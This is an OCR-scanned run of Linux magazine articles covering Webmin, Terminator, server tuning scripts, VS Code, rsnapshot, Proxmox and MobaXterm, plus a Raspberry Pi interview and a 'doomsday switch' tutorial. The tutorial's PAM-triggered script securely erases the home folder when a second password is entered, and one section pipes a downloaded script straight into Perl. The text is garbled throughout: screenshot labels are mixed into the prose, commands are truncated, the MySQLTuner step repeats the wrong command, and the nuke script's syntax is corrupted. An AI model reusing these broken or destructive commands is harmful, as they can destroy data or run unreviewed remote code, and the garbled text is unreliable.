ensure your server is reachable at Apache
on port 80 (install the apache2 package if
you haven’t already), then download the
certbot-auto script from https:/github.
com/certbot/certbot. Run the script, follow
the prompts and it will create a number of
.pem files, which can then be imported into
the Webmin config.

06 Install your custom SSL cert

After creating your pem files, copy
them to an easy-to-remember location. Next,
in Webmin itself open the SSL Configuration
section of Webmin Configuration. You'll need
to configure the Private key file (point to your
new privkey.pem), your certificate file (point
to your cert.pem) and an additional certificate
file (point to your chain.pem). You might also
want to redirect non-SSL requests to SSL
mode. After saving the config, that’s it! Close
the window/tab you have Webmin open in and
re-open a new one, and you should now see
that your SSL certis valid.

B Un-used Modules

ADSL Client

Bacula Backup !

CD Burner

DHCP Server

Dovecot IMAP/PO
Fail2Ban Intrusion Detector
FirewallD

GRUB Boot Loader
Heartbeat Monitor

idmapd daemon

Initial System Bootup

IPsec VPN Configuration

iSCSI Client
S| Server
S| Target
ISCSI TGTd
Jabber IM Server
Kerberosb
LDAP Client
LDAP Server
LDAP Users and Groups
Linux IPv6 Firewall

Linux RAID

0 Enable and disable modules

Upon first installation of Webmin,
it will attempt to automatically determine
which services you have installed and enable
any appropriate modules within the relevant
section of the Webmin Ul. You can also see
which modules are installed but not enabled
by clicking the ‘Un-used modules’ section in
the left menu. Clicking an individual service
in the list will typically tell you what you need
to install on the system in order to enable
support. Some modules also need to be
manually configured before they appear in
the main list.

Command Shell

08 Remote command shelland
file management

Webmin provides a number of useful tools
that can be lifesavers if you are having
trouble accessing your system. The first is
the command shell feature, which allows
you to execute single commands in the
context of your logged-in user account and
see the response. The second provides file
management via a simple web view or using
a Java plugin (if you are using a supported
browser). Although the interface is fairly
limited at times, it does allow file download/
upload, permissions management and
location bookmarking.

Scheduled Cron Jobs

09 More useful Webmin features
Webmin has so many useful features
that it’s impossible to cover them all in this
article, but what do we find particularly
useful? The interface allows you to see, and
even install, pending software updates. A
visual Cron editor lets you configure and test
your scheduled tasks. Creating users and
groups is easily managed with an intuitive
Ul. Samba setup can sometimes be fairly
complex; the Webmin module makes that
straightforward too. There is really something
for both amateurs and experts alike.
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CREATE YOURGRID
Aright-click of the mouse reveals the
core feature of the app — the ability
to split horizontally or vertically. You
can also click and drag the dividers to
adjust as required

Terminator Preferences

Behaviour
Window state: Normal
Always on top

Show on all workspaces
Hide on lose focus

Hide from taskbar

& Window geometry hints

Appearance
Terminal separator size:

= Window borders

Terminal Titlebar

Font colour:

Background:

How many terminal sessions do you
normally have open at once? We're
willing to bet that it’s more than one and
if you’re anything like most Linux users,
it’s likely quite a lot more! The goal of the
Terminator project is to produce a useful
tool for arranging terminals — the main
focus is arranging terminals in grids, but
Terminator also supports Tabs, in a similar
way to Gnome terminal. The feature set is
rounded out with drag and drop re-ordering
of terminals, lots of keyboard shortcuts,
the ability to save multiple layouts and
profiles via a GUI preferences editor and a
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Global Profiles Layouts Keybindings Plug-ins About

-1@®
Unfocused terminal font brightness: 0.8 —o

Focused Inactive Receiving

MOUSE-BASED FOCUS

In the preferences menu, you'll see a feature
called ‘mouse focus’. By changing this
option to ‘follow mouse pointer’, whichever
terminal window is currently under your
pointer will receive your keyboard input

] paul@xpsl3-xenial: ~ 6

Mouse focus:

Broadcast default: Group
Re-use profiles for new terminals
Use custom URL handler

Custom URL handler:

DBus server

Tab position: Top
% Tabs homogeneous
Tabs scroll buttons

Hide size from title
= Use the system font

Font:

really cool feature — simultaneous typing
to arbitrary groups of terminals. Maintain a
bunch of servers? Terminator will allow you
administer them simultaneously, but still
using the good old command line. Clever!

Terminator can be added to Ubuntu using
a PPA (ppa:gnome-terminator) or if you are
feeling particularly brave, there is a nightly
PPA too (ppa:gnome-terminator/nightly).
Terminator is in the default repos for Fedora,
OpenSUSE and RHEL amongst others, or of
course it can be built from source.

After installation, run the application
and right-click with the mouse to bring

Follow mouse pointer -

ZOOMING A SPECIFICTERMINAL

If you have a lot of terminal windows open,
you might want to zoom in to a specific

one to do some work. The right click menu
reveals this option -- ‘Zoom terminal’, with
the ‘Restore all terminals’ option to un-zoom

16

Paste

=Split Horizontally
mn Split Vertically
Open Tab

Close

Zoom terminal

Maximise terminal
L6

»Show scrollbar
Preferences
Encodings '

Watch for silence
Custom Commands ‘
Terminal screenshot

Watch for activity

Real power users have lots of terminals on screen, right?

up the main menu. Here you will find the
application actions as well as a link to
the preferences page, where you can also
configure Terminator plugins, a number of
which are pre-installed with features such
as ‘terminalshot’ (Terminal Screenshot),
activity and inactivity watchers and a handle
custom commands plugin that allows you to
easily define custom command macros for
laborious but frequently used commands.
Third party plugins are supported and a
number of them are very useful, however
there doesn’t appear to be a central
repository of these currently.



Use automated scripts to optimise your server software

When setting up a new Linux machine,
particularly a server, there’s a good chance
that you’re going to install a LAMP stack
(Linux, Apache, MySQL, PHP). If you’ve done
so recently however, you’re no doubt aware
that even on the very latest distributions,
a default installation of Apache or MySQL
isn’t very well optimised for today’s common
hardware. Even installing on a fairly basic
VPS results in under-utilisation both of CPU
and RAM.

Seasoned Linux users may be comfortable
with adjusting the default server settings
themselves, but for most of us the apache2.
conf and my.cnf files are a dizzying number of
variables, each of which interplay and can make
the difference between a smoothly running
system or one that performs badly (or likely, falls

h
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over completely). So what’s the answer to this
annoying problem?

Thankfully, enterprising developers (this is
Linux after all) have taken it upon themselves
to develop tuning scripts. Originally developed
for MySQL and then offered for Apache 1

and more recently Apache 2, the scripts look
at your system configuration, the current
software configuration and most importantly,
the stats from recent use. They then augment
these figures to suggest the best settings for
your specific setup. It's well worth trying.

0 Download apache2buddy
apache2buddy is a Perl script that
originally had support only for RedHat/CentOS,
but now also supports Debian and Ubuntu,
providing “a reporting tool and onetime run
dashboard for assisting with tuning and
troubleshooting Apache webservers”. The
script itself is hosted on GitHub at https:/
github.com/richardforth/apache2buddy,
however the project also owns the
apache2buddy.pl domain (which is handily the
Perl extension), so you can simply use ‘wget
apache2buddy.pl’ to download. It actually
makes more sense to download and run on
each execution to ensure you have the latest
version, using ‘curl -sL apache2buddy.pl | per’.

02 Runthetool
The golden rule when running the

apache2buddy script is to ensure that
your server has been running for at least
24 hours beforehand, and the longer it
has been running, the more accurate the
recommendations will be. When launched,
the script will perform some checks on
the system and also look at which other
common services are installed. It will list
its findings in detail, before finishing with
a ‘General findings and recommendations’
section. Before implementing the changes,
remember to back up your apache2.conf
file! This will allow you to roll back if the
suggestions it's made turn out to have
unexpected consequences.

O Download mysqltuner

The MySQLTuner app, like the Apache
tuner, is also written in Perl and hosted on a .pl
domain — mysqltuner.pl. As with the Apache
script, use ‘curl -sL apache2buddy.pl | perl’
to download and run. The github repo for the
script can be found at https:/github.com/
major/MySQLTuner-perl.

MySQLTuner suggests adjustments to

increase performance and stability. The
current configuration variables and status
data is retrieved and presented in a brief
format along with some basic performance
suggestions. The current version supports
around 300 indicators to ensure suggestions
are as effective as possible!

0 4 Runthe script
As with the Apache script,

you
should ensure that the MySQL server has
been running for at least 24 hours before
you run the tuner. If you choose not to do so,
recommendations won’t just be sub-optimal,
they may be detrimental to your system’s

performance, particularly on low traffic
systems. Again, the script will list its findings
in detail before finishing with a ‘General
recommendations’ and ‘variables to adjust’
section. Before implementing the changes,
it’s the ‘my.cnf’ file you should back up this
time, to allow you to back out of the changes
if required.
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& mysqltuner.pl - pandoraslack - Visual Studio Code

mysqltunerpl x

4 OPEN EDITORS
mysqltuner.pl fhoma/
» PANDORASLACK

s ’//

When considering which text editor/IDE to
use, there are definitely the normal favourites
amongst the Linux community. You know
what typically won’t get a look-in? A Microsoft
product. This isn’t really surprising given
Microsoft’s history with the OS, but if you take
a look at its latest offering — which is open
source no less — you might find that Visual
Studio Code pleasantly surprises you.

Visual Studio Code is a cross-platform
source code editor that’s available for
Windows, Linux and mac0S. It includes
support for debugging, embedded Git
control, syntax highlighting, intelligent code
completion, snippets and code refactoring. The
app itself is based on Electron, a framework
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The ‘new Microsoft’s’ cross-platform editor is actually rather good

used to deploy Node.js applications for
the desktop and best known for being the
foundations of Atom.

Visual Studio Code works because it has
just the right support for core development
functionality like debugging, task running and
version control, allowing it to support a fast
code-build-debug cycle without leveraging
the more complex workflows in fully featured
IDEs. The jewelin the VSC crown is Intellisense,
which goes far beyond basic syntax
highlighting and autocomplete, providing
smart completions based on variable types,
function definitions, and imported modules.
If you want, you can choose to customise
virtually every feature in the application and

Ln1,Col1 Spaces:4 UTF-8 LF Perl @

install third party extensions from a rapidly
growing library.

The Visual Studio Code interface is instantly
familiar, with an explorer on the left and an
editor on the right. In addition you have a side
bar, containing different views, the status
bar, the view bar on the far right for switching
between views and displaying additional
context sensitive information and panels,
which display below the editor for output and
debug information, errors and warnings or an
integrated terminal.

The application can be downloaded from
https://code.visualstudio.com in deb/RPM or
source formats and includes built-in update
alerts to manually download the latest version.




Send full machine snapshots to remote servers easily

We talked earlier in this article about ensuring
you have good file backups by using the
Crashplan utility, but this little gem of a
system tool — rsnapshot — is more suited to full
machine backups in case you need to restore
your whole system.

rsnapshot is a filesystem snapshot utility
based on rsync. rsnapshot makes it easy to
make periodic snapshots of local machines, and
remote machines over ssh, making extensive use
of hard links whenever possible to greatly reduce

the disk space required. Because rsnapshot
only keeps a fixed (but configurable) number of
snapshots, the amount of disk space used will
not continuously grow.

After snapshot files have been created, they
can easily be uploaded to an alternate storage
location such as Amazon S3, a remote SFTP
server or locally attached storage. The best
way to run rsnapshot regularly is via Cron, so
adding a transfer command to the script to run
immediately afterwards is straightforward.

(press h for help or o to qult)

Manual page rsnapshot(1) line 1

0 Download and install rsnapshot

The first step is to download and
install rsnapshot. As the application has been
around for many years, it should be in your
distribution’s repositories to install in the usual
way. If you need to install from source, you
can find the tarball at http:/rsnapshot.org/
download.html. You will need Perl installed on
your system (and of course rsync), but there
are no other dependencies. As you would
expect with a Linux app, rsnapshot’s manual
is incredibly extensive and covers much more
advanced scenarios that we do here.

02 Create the configfile, setup
file locations

After installing rsnapshot, it will create a template
config file in /etc/rsnapshot.conf.default — copy
this to /etc/rsnapshot.conf. Open the file in a
text editor and you'll immediately notice the
‘snapshot_root’ — this determines where the
snapshots are stored. The ‘no_create_root’

= \ variable should be set to “’if you plan to back up to

an external drive. Scroll to the ‘External Program
Dependencies’ section — you should ensure
the paths are all correct at this point using the
‘whereis’command, e.g. ‘whereis rsync’.

03 Choose abackup schedule and what
toinclude

Next in the config file you need to configure your
backup schedule. By default, rsnapshot can do
hourly, daily, weekly and monthly backups, but
you can decide exactly what you want to do — if
you want to create a backup that runs every four
hours, you can! It’s likely you will also want to
include or exclude specific files or directories
from the backup —you can do this by editing the
‘include’ and ‘exclude’ lines in the config (one
line per inclusion or exclusion) — you can check
the correct syntax by referring to the --include
and --exclude lines in the rsync manual.

O 4 Local backup

So we've done the basics in the config
file — the last step is to define the actual backup
preferences, with the ‘snapshot_root’ and

‘backup’ lines (note that you can use multiple
lines to perform multiple backups). We've set a
backup from /var/www to /localhost to we're
ready to give it a go. First of all we should check
that we've not made any errors in the config file
by using the ‘rsnapshot configtest’ command,
which should return ‘Syntax OK.. If it does, the
backup can be initiated with the command
‘rsnapshot daily’.

Ghy nano 7.5.3

05 Remote backup
We can use rsnapshot’s remote backup

functionality simply by specifying the remote
server location as the backup source. Note
that for this to work, you will of course need
SSH access to the remote server, ideally using
key-based authentication. Ensure ‘cmd_ssh’
is enabled in the config file and update the
backup line accordingly, then initiate the backup
again with the ‘rsnapshot daily’ command.
In the example config you'll note some clever
functionality around ‘backup_exec’, ideal for
backing up MySQL databases.
0 Automation with Cron

Now that you have local and remote
backups working (remember: you can do both
in one job with multiple ‘backup’ lines), you will
likely want them to run automatically in line
with your preferred schedule. To do so, add
them to your Cron file either manually (using
the ‘crontab -e’ command) or via a tool such as
Webmin. Create seperate cron tasks for each
rsnapshot you wish to run (i.e. ‘rsnapshot daily’,
‘rsnapshot weekly’ etc.).
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As hardware gets more and more powerful,
Proxmox provides straightforward virtualisation

Server virtualisation is more popular than
ever as hardware becomes ever more
powerful and the benefits of containerising
applications become more well known.
Proxmox VE is a complete open source server
virtualisation management solution. It is
based on KVM virtualisation and container-
based virtualisation and manages KVM
virtual machines, Linux containers (LXC),
storage, virtualised networks, and clusters.
Proxmox includes enterprise-class features
but also has an intuitive web interface,
designed to help users make the most of
existing resources and reduce hardware costs
in business as well as home use. Even the most
demanding Linux and Windows application
workloads can be virtualised — as a KVM
(Kernel-based Virtual Machine) product you
can run multiple virtual machines by running
unmodified Linux or Windows images, unlike
other similar solutions such as OpenVZ.
Proxmox management tasks are carried
out using the web-based management
tool, however an advanced command line
interface is also provided to manage all the
components in the virtual environment. This

X PROXMOX

Home Virtualization Email Security

Virtualization

Downloads

Training Partners News About us

Proxmox Virtual Environment

Server Virtualization with KVM and Linux Containers

command line interface has intelligent tab
completion and full documentation in the
form of UNIX man pages. Last, a full REST

APl is provided, based on the JSON format,
for straightforward integration with third
party applications.

x [Running] - Oracle VM VirtualBeox

Provamon VE 4.4 (bulld eb2o6f1e-2) - http:/ews. proweo, con

X PROXMOX

Welcome to Proxmox Virtual Environment

Install Proxmox VE (Debug mode)
Rescue Boot
Test memory

01 Download and launch the
Proxmoxinstaller
The Proxmox installer is provided as an ISO
image either as a direct download or a torrent
from https:/www.proxmox.com/en/downloads/
category/iso-images-pve. The ISO can be
burned to a DVD or a USB stick — if using the
USB option, simply copy the file to USB using
dd - ‘dd if=proxmox-ve_*.iso of=/dev/XYZ
bs=1M’, where XYZ is the device as listed in
‘lsblk’. If you are installing Proxmox for the first
time, it’s likely worth installing on a tool such
as Virtualbox initially to understand the setup,
before deploying to a real box — particularly if you
are using a cloud-based box.
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X PROXMO

Proxmox VE Installer

Complete theinstall process

0 Launching the Proxmox installer
from the ISO will open a wizard-based setup
interface. You will be prompted for the
destination disk (which will be wiped, Proxmox
installs as a full 0S), country (if you have trouble
finding the UK, it’s listed under ‘Britain’!), time
zone, keyboard layout, administrator password
and network settings. After the installation is
complete, you will be prompted to open your
web browser to the IP address/host name
specified during the setup.

03 Firstlogin
After browsing to the Proxmox IP

address/hostname, you will be prompted for
your username and password. The default
username is ‘root’ and the password is the
one that you specified during the setup
process. You will be prompted to purchase a
subscription at this point — note that this is
a way to access additional repositories and
support, Proxmox itself is open source and
free. You will see the datacenter view, where
you can configure storage, additional users, HA
groups, firewall settings and also see system
performance stats.



& proxmox - Praxmox Virtual Environment - Opera

0 Configure your firstVM

Let’s create our first virtual machine and
install Ubuntu into it. At the top right of the screen
you'll see a button labelled ‘Create VM’. ‘Node’
and ‘VM ID’ should be pre-populated, but you
can choose a name and press Next to select an
0S. For recent Ubuntu, choose Linux 4.X/3.X/2.6
Kernel. On the next screen you are prompted
for an ISO. Your best option is to SFTP an ISO
to the box — the correct location is /var/lib/vz/
template/iso. The hard disk, CPU, memory and
network settings are self-explanatory.
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0 StartyourVM

After you have completed the initial
VM config wizard, a new machine with the
ID/name that you chose will appear in the
Server View on the left of the screen. Click
the new machine, and then select Start in
the main window to power on the VM. The
bottom of the screen is the Tasks area, and
you will see the start request appear and
then complete in this section. Note that if
you are testing in VirtualBox, you will need to
uncheck the KVM Virtualisation option in the

VM settings.
0 Consoleaccess

So the VM is now started, but we need
to go through the actual Ubuntu installation
to get it up and running. To do this, click
the Console option in the VM config, and
VNC will launch. Assuming everything has
worked correctly, you’ll now be at the Ubuntu
installation screen and you can complete the
setup wizard! You can use the on screen icon
to switch to a full screen view.

% proxmon - Proxmeon

+ c w 192.168.0.160
X PROXMO X virtssl Envecrment 4.4-tseaeetie
foskscdncacd Virtual Machine 100 (VM 100) on node ‘proxmax’
B8 Datacenter
& Summary
B proxmen
3 100 (Uuntu} . Comsole
B kocal (proxmon) 2 Hardware
B locabivm (proxmax)
b & Options
B Task History
& Monilor
B Backup
D Snapshots
0 Firewall

o Permissions

Towa

Jan 12 19:58:37 prowmox chusber 543 root

Jan 12 19:58:43 prommon pve-manager 1114

0 Proxmox networking

By default, Proxmox uses bridged
networking with the host Operating System
(which is based on Debian in fact). If you
are running Proxmox on a server where you
have multiple IP addresses available, you
can specify these during the setup process,
however they will also need to be defined in
the interfaces file on the server itself. Exactly
how you plan to use the virtual machines will
dictate how to manage your IPs. Note that
Proxmox now includes full IPv6 support.

T8 a0 14
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0 Create and restore abackup

When a virtual machine is selected,
you’ll notice a Backup option in the left-
hand menu. Just select ‘Backup now’

n D m n n m H{.«umm (encryphed) be: OEMU (Ubunty)

vy g
o o o 0 s (ETEENTY (D (XD
O Shutdown ¥ Resat & Migrate. Conscle @ Help

o

ubuntu®

inly starting cluster log

info starting task UPID: prowmon: 000004 5E-00000RAZ-SATTOF TR startal

and a backup will be created - live, while
the machine is running — making it a very
powerful tool. Backups will appear in the list
and can be restored with a single click. You’ll
notice that a Snapshot facility is also listed.
Backups are independent from your VM and
can be stored like any other file. Snapshots
are in or on your VM disk, work quicker and
take up less space.

L Round iz meemory

® AuSsmatcally ARGl MeMOny Wil I (ange

0 Hardware changes

Of course the real versatility with
a solution like Proxmox comes from the
ability to change hardware on the fly. Want
to allocate a VM more CPU, RAM or hard disk
space? That’s fine, you can do that — it’s all
managed from the hardware tab of the Ul
Changes will normally require a reboot of the
host OS to take effect, which can of course
be carried out from the Proxmox web Ul too.
As well as a specific memory size, Proxmox
also supports ‘burstable’ memory, which can
be shared between VMs.
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SAVED SESSIONS

MobaXterm allows you to save a
directory of sessions as well as
viewing your recent history. If you are

currently using Putty, you canimport ,",-',';\
your favourites .o
Games

Quick connect...

¥ X11 window with Twm

R
S

143 List hardware devices
EFQ List running processes

B Start Cmd as admin

| MobaTextEditor

Feature | Top 10 systemtools

server Tools Games Settings

J\o
"/"‘  dl

Sessions

=

View

S

Split

) [: 2. /home/mobaxterm

TOOLS

Alarge number of tools are builtinto
MobaXterm, including network and
port scanners, tunnel management,
atexteditor and file diff utilityand a
network capture utility

Macros Help

MultiExec Tunneling Packages Settings

er drives are
Y 1s set to

B $ K ©

Help

Pers

nal Edit
client and net
accessible thr

, your remote DISPLAY 1is

» Each command status is specified by a

=~j'd_, MobaFoldersDiff

A Ascii table

Macros # Tools 3.~ Sessions

€9 Network services

MobaKeyGen (SSH key

mAanaratael

&' List open network ports

E3 MobaSSHTunnel (port forwarding)

f:.;— Network scanner (experimental)

This is Mo
allows you to
your own
either an M

customi
your
installation

Edition. The |

m for yot
ters, your welc
pac or a |

para

We can also modify MobaX or develop

For more

information:

SIMPLIFY REPETITIVE OPERATIONS
When using a terminal client, there are lots
of operations that we repeat frequently.
MobaXterm offers a macros function, to

® Ports scanner (experimental)

} Network packets capture

A Windows tool in a Linux magazine? What'’s
going on? Don’t worry, we haven’t taken leave
of our senses — even Linux users are forced
to use Windows machines sometimes, and
this tool makes the process a lot less painful
(it can’t help with those pesky Windows
Updates though). If you connect to your Linux
machines from a Windows box, we suspect
you use either Putty or, if you’re on Windows
10 Anniversary Update, Bash for Windows.
MobaXterm is a single Windows
application that provides a host of
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A Windows tool to get the best from Linux

multiple sessions

functions tailored for Linux power users.
The application provides all the important
remote network tools (SSH, X11, RDP, VNC,
FTP, MOSH, ...) and Unix commands (bash,
ls, cat, sed, grep, awk, rsync, ..) to the
Windows desktop, in a single portable exe
file which works straight out of the box. Key
features include an embedded X server
with X11 forwarding support, a tabbed SSH
terminal with coloured syntax highlighting
and advanced password management, a
multiple session manager and an extensible

help automate these tasks across one or

add-on/plugin system with a visual package
manager. Just like the Terminator tool, it also
allows you to execute a single command on
multiple servers at the same time.

A graphical SFTP browser and editor are
included for file transfer, as well as GUI-
based setup of SSH gateways and tunnelling.
MobaXterm is free for home use, but it is a
paid product for business/commercial use,
which also includes some limitations — the
free version allows 12 sessions, two SSH
tunnels and four macros.
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Raspberry Pi

74 “The custom slot helps Alexa by providing a list
of all the things you could say to her — it’s like a
parameter in coding”

Cotens

7 Write more 72 Make a Raspberry Pi 7 Control lighting with the 7 Travelling with the

with Scripto doomsday switch Piand Amazon Echo Raspberry Pi
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Tailored display
Thanks to a transparent photovoltaic
layer on Scripto, the display on the
deviceis both readable in low light and
indirect sunlight. The screen adapts
tothe lightitabsorbs, helping keep the
pressure off your eyes

Customisable word

, processor

- Scripto uses a heavily customised

= word processor at its core, which

~._  canbe furthertailored by users to

‘o ™ match their needs. Perhaps one

vy Hp . iz ‘| ofits best aspects are its range of

T “f4.. £y, pre-madetemplates, which can be
‘& ¢ +, usedtochange up how userscreate

" their pages

Biodegradable chassis
Although many aspects of Scripto can be
personalised to suit the user’s needs, the
casingis of particular interest. The casing
used here is completely biodegradable, with
instructions included on how to safely dispose
of the product when it’s no longer needed

Pi possibilities

The benefits of using the Pi Zero
within Scripto were numerous.
Primarily, its small size meant it could
be intertwined with the other tech
used within. For Craig in particular, it
proved to be a massive help with its
compatibility with numerous drivers
and existing software

Components list

M Raspberry Pi Zero (with enclosure)
M Biodegradable Arboblend chassis
B LCD touchscreen

B Sunpartner transparent solar panel
B Swappable side panels

B Wi-Fiantenna

M 4xAAbatteries

M SD card reader

SCRIPTO

Dedicated, customisable word processor

Customisable templates ensure
compatibilicy with existing
workflows for novel-writing,

script-writing, and more

Users can share styles
using SCRIFTO

Timer for writing ‘sprints’

tional techniques to help

riters get back into the groove

% SETTINGS = SHARE

{Email etc)

M WiFi SETUP

Above Each panel of Scripto can be customised. Different colours
and materials are available to make it your own Optional word count targets
with SCRIPTO

Right While many core word processing features are present, the
customised software used here is great for prolonging your focus
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Where did the originalidea for Scripto

stemfrom?

The Scripto started as a final project as
part of my Computing and Design degree
at the Open University. The concept of a
distraction-free device for writers is not
new, but it is currently under-served in
the market. The Raspberry Pi was also
inspirational in providing an accessible
computing unit for makers who aren’t
necessarily hardware experts.

Could you talk us through the design

and build phase of Scripto? Did you
encounter any major issues?

The Scripto was designed with three
major goals in mind: it should be
distraction-free, it should be convenient
versus other solutions, and it should be
cheap. Balancing the other factors with
cost was a continual challenge. As the
device is currently designed, | think the
price would be too high and a major goal
for the next few months is to redefine
the budget to cut features that are nice-
to-have but not strictly necessary, such
as solar charging. For myself, using
sustainable and innovative materials in
the chassis was an important aspect
of the design, but actual users may not
care that their device is green. Another
challenging aspect of the design is that
the targeted demographic of ‘writers’ is
extremely broad in terms of needs and
disciplines. Script writers for theatre and
film have different needs to poets and
journalists. At a basic level, they all write
words and should be able to replicate
their chosen formats manually, however,
making things convenient and seamless
was a design goal, so the inclusion of
templates and formatting requires an
assessment of many competing formats.
Every author seems to have a different
workflow. It may be that the Scripto
reverts to a pure text generation device,
leaving it up to the writer to copy the basic
text into their chosen format. Support
for Markdown will be included at the
least, however. A major challenge was
deciding on the keyboard. Writers usually
have preferences about their keyboard.
Some prefer mechanical switches,
others like the short-travel switches on
modern Thinkpads and Macbooks. One

thing is for sure: the keyboard must be no
smaller than that found on 12” laptops.
Writing is a physical act and getting the
feel of the device correct will probably
require many iterations. A challenge will
be to find the resources and partners to
help develop affordable prototypes.

For our readers who may not be familiar
with Scripto, what are its key features?
The Scripto supports word processing
with optional cloud backups. Inessence:
an old-school word processor like in the
80s and 90s, but with the convenience
of automatic backups and progress
tracking. It’s a small, light device made of
sustainable plastics using low powered
hardware. A long-term goal would have it
integrate with an app and a secure cloud
storage service to track and backup
users’ words.

How does it deal with distractions?

The Scripto doesn’t have any
distractions: it should be a one purpose
device. Beyond selecting which project
you are writing in, the barriers between
you and typing your thoughts should
be minimal. Laptops, desktops, and
smartphones are all capable of word
processing, and they’re also capable of
running distraction-free environments

My Pi project

should extend to our gadgets. Writing is
individual and personal, so the tools we
use should be as well. If the chassis can
be 3D printed as intended, the long term
goal is to offer diverse colour options
and decals. However, this becomes a
challenge of pricing. Early versions may
only come in one style and colour.

What sort of role does the Raspberry

Pi play here? What were the benefits of
usingitin this project?

The Pi brings numerous benefits:
primarily that it is a whole system on a
single board and that it is compatible
with  existing  drivers,  software
and accessories. The amount of
documentation available is second-to-
none. There may be more appropriate
solutions — an Android based device may
be better in terms of power management,
but that requires research. At present,
the project will use a Pi Zero. The Pi being
UK-manufactured fits with the ethical
and ecological aims of the project too.

Doyou thinkyou’ll look to utilise Ras Piin
future projects?

| am always on the lookout for new
technologies, but at the moment | could
see myself using the Pi again. The Zero
has an inspiring form factor — it could

“l go into tea shops and cafes and
see rows of silver Macbooks”

— one could customise a basic Linux
distro to boot into a word processor, for
instance, but | think there is a benefit to
having a very portable and dedicated
device. Fostering a positive physio-
psychological association with the act
of writing is important, and specific
hardware is a good way to achieve the
mindset that “I'm sitting down with my
Scripto to write, and nothing else”.

Can Scripto be personalised inany way?

The intent is to make the Scripto a highly
personal device. | go into tea shops and
cafes and see rows of silver Macbooks —
| have nothing against that, personally,
but | think we’re about to enter an
age of mass customisation, and this

fit into all sorts of small interactive
products; it’s just finding time to explore!

What'’s next for you? Any other big
projects on the horizon?

| recently graduated and I’'m looking for
work. The Scripto is an ongoing project,
however, and | intend to have working
prototypes available this year — my wife
keeps nagging me! Crowdfunding may be
an option if | wanted to scale up, but I'd
prefer to have proof-of-concept before
embarking on that journey. | also expect
to be focusing on smaller projects, one of
them being an online interactive guide to
tea. | have a preoccupation with cats and
so I’'m investigating ways to make ‘smart’
cattoys.

3l Write more with Scripto

V n | Make procrastination a thing of the past with the
e help of Craig Lam’s distraction-free writing tool

Craigisarecent
graduate, achieving
First Class Honours
in Computing and
IT. His eight years of
experience in CAD
have helped him
take Scripto from
concept to creation.

Being able to merge
the Raspberry

Pi with desktop

PC components
isa hot trend at

the moment, and
something that
many people are
investingin. A good
starting point for
new users is to
check out PIXEL,
the Raspbian-
powered Pi desktop
software.

Craig has been kind
enough to detail the
intricate workings
of Scripto, as well
as document how it
can be incorporated
into everyday lives.
Interested parties
can head access

to his personal site
for extra details on
cl5944.myportfolio.
com/
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Tutorial

Make a Raspberry Pi

doomsday switch

Keep your data safe with a handy ‘nuke’ password
to erase your home folder in case of emergency

Nate Drake
(@natewriter)
isafreelance
technology
journalist
specialisingin
cybersecurity and
doomsday devices.
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If you'’re worried about the somewhat Orwellian notion of forced
disclosure of passwords, this project posits a rather radical
solution to the dilemma by creating a second password for your
user account, which, instead of logging you in, will nuke your
home folder using special tools.

While this is simple to set up, do make sure to back up your
personal data to a safe place before going ahead. Also bear in
mind that anyone with physical access to your machine may seize
it before you have a chance toflip this kill switch.

Above Choose your normal login password. Fill in the
other fields or just press return to leave blank

0 Create your new useraccount

Although you most likely will already have a user account
on the Pi, create a new one for this project by opening Terminal on
your Pior connectingvia SSH and running the command

Il sudo adduser name
Add your new user as an Administrator with
Il sudo adduser name sudo
Substitute 'name' with your chosen username.
0 Create your Nuke script
You should stay logged into the 'Pi" user for now and run
the followingcommand:
Il sudo nano /etc/security/security.sh

HIDDEN EXTRAS

In addition to the srm command in the nuke script, which
securely erases the home folder, you may have noticed
two other commands, sfill and smem. Remove the # at

the start of these lines to overwrite the free space in the /
home folder and clean any files in the Pi's virtual memory
(RAM) respectively. This will take much longer than the srm
command on its own butis agood deal safer.

What you'll need

M Suitable for all models of
Raspberry Pi

~“Home folder has been overwritten™

“RAM is clean™
“User dala has been nuked.”

Above See Hidden Extras to configure extra options

Inthe new window, paste the following:

I #/bin/bash
| read password

| # If the username and password match...
| if [ "$PAM_USER" = "name” 1 8& [ "$password” =
"nukepassword” ]
I then
[l #Begin Nuke Process
l echo "Nuke is starting.”
[l #Securely erase the home folder
I srm -rvwv /home/name/
| echo "Home folder has been erased.”
Il #Overwrite the /home folder with random data
[l #sfill /home
| echo "Home folder has been overwritten”
| #Clean RAM memory
I #smem
l echo "RAM is clean”
I echo "User data has been nuked.”
fi

Above Press Ctrl + X, thenY, then return to save and exit

0 Modify the script

In Line 5, substitute ‘name’ and ‘nukepassword’ for the
username of your new account and the desired nuke password.
Make sure this is different to your current one. Change ‘srm -rvvv /
home/name/’ to the path of your real home folder.



Make a doomsday switch

Above Save and exit in the same way as for the nuke script

0 Run nuke script on login
Malke your nuke script executable with the command...

| sudo chmod a+x security.sh

Nextrun...

| sudo nano /etc/pam.d/common-auth

..to open the Pluggable Authentication Modules (PAM). Find
the line starting ‘auth  [success=1...” and change this to ‘auth

[success=2.... Immediately below this line, paste the following:

I auth optional pam_exec.so expose_authtok

log=/tmp/pam.log /etc/security/security.sh

Above Secure-delete includes the tools to overwrite
deleted data (sfill) and wipe your RAM (smem)

0 Install secure delete tools
Runthe command...

I sudo apt-get install secure-delete
...toinstall the tools necessary to erase your home folder securely.

Substitute 'name' with your chosen username.
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Above Type 'man srm' for more information on how
securely your data is erased.

0 Migrate your data (Optional)

If you previously had personal data in another user
account, you should take this chance to move data across from
that account to another from your backup drive. If you wish to
delete the originals, do so using the new secure-delete tools,
forinstance:

I 'srm -r /home/bob/Pictures’

Above On login, use 'sudo userdel' to remove your former
username, for example 'sudo userdel bob'

0 Testyour new account

Reboot your Pi and log into your new user account using
the normal login password. Check that your files are where you
need them.

Above Use the log file detailed in the next step to track the
progress of erasing files

0 Testyour nuke switch

If your data is backed up, there's no harm checking your
nuke password works. Reboot the Pi once again. Select your new
username and enter the nuke password. The system will hang
while it removes your files.

Above Use the'ls' command inside the home folder to
verify the home folder has been overwritten

0 Check nuke logs
You can still connect to the Pivia SSH while the nuke script
is running. Use the command...

I cat /tmp/pam.log

...fo check the progress of the nuke. Any further attempts to log in
will just take the user back to the login screen. ll

NUCLEAR DETERRENT

A nuke switch may appeal to your sense of melodrama but
it's likely that if an unscrupulous person seizes your Pi, they
will make a copy of the contents of the SD card before trying

to enter the password. Ideally, you should encrypt your home
folder before using this script. Even if it does work, the script
cannot delete itself so it will be obvious to everyone that you
have 'gone nuclear'.
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Tutorial

Control lighting with the Pi
and Amazon Echo

Control Pimoroni’s home lighting kit for the Raspberry Pi
through the Alexa Skills kit

Alex Ellis
@alexellisukisa
principal developer
at ADP, a Docker
Captainand an
enthusiast forall
